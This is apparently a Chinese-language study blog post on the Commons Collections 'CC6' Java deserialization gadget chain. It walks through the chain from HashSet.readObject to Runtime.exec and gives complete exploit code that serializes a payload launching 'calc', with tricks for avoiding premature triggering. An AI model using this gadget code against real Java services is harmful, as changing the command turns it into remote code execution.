Java反序列化CommonsCollections——CC6

Java反序列化CommonsCollections——CC6

前言

上回我们说了CC1的两个版本,随着外部库的更新还有jdk版本的更新都会导致使用受限,那我们就想能不能有一条不受jdk版本限制的链子。实际上CC6这条链子是不收JDK版本限制。

CC6链子分析

Gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

实际上后半部分是和CC1一样的 (LazyMap.get以后),入口类用的HashMap,HashMap我们已经很熟悉了,在URLDNS这条链子中就用到过HashMap。HashMap的readObject会调用它的put,put里会调用hachCode,所以我们希望找到一个类,它的hachCode里面能调用LazyMap。这个类同时也要满足参数都可控。

官方的Gadget chain已经写出来了,就是TiedMapEntry

所以我们就来看看TiedMapEntryhashCode方法,可以看到它的hashCode调用了getValue方法

image-20230107174435536

它的getValue方法里调用了map.get,我们到时候把map改成需要构造的LazyMap就好了。

image-20230107174534597

这个TiedMapEntry是什么东西呢?看名字的话它是一个Entry,Entry就是每一个Map里都有的键值对,但它是一个public,正常的是一个privite。初衷就是方面用户修改这个键值对。

image-20230107180106856

那我们就可以去写一个Exp,注意HashMap是对key值进行hash()方法,进而调用它的hashCode

image-20230107195937343

我们手写一下Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class CC6Test {

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
// 放一个没有用的transformer
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Lotus");

HashMap<Object, Object> map2 = new HashMap<>();
// 执行put时,调用没有用的Transformer
// 在执行 put 方法之后会给LazyMap添加key,所以我们put操作之后把这个key给删了
map2.put(tiedMapEntry, "LLLotus");
lazyMap.remove("Lotus");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

// serialize(map2);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这个Exp有几个需要注意的地方,1、首先是因为HashMapput方法也会去调用hash方法,让链子往下走,所以序列化的过程中就会弹出计算器,所以我们可以在调用put时去调用没有用的transformer,调用put方法之后再通过反射把链子给续上就可以了。 2、如果只是这样,反序列化的时候还是不会执行弹出计算器。这是因为在执行put操作过后,会给LazyMap添加key,反序列化的时候判断LazyMap里有没有key,有的话就不会继续往下走了,所以这里我们的解决方法是通过remove去删除掉LazyMap里的key。

image-20230107205307785

执行代码,成功弹出计算器!

image-20230107205645537

后记

总结一下CC1和CC6全景图,不免发自内心的感慨一句:CC6真是世界上最好用的CC链

image-20230107203255655

这条链不像CC1那样弯弯绕绕的,最主要的是它不受限于jdk版本,也不受限于CC的版本,大部分情况都可以用这条链解决,没人会过滤HashMap这个东西。

当其他链子碰到困难的时候,回到CC6,总能找到最初的美好~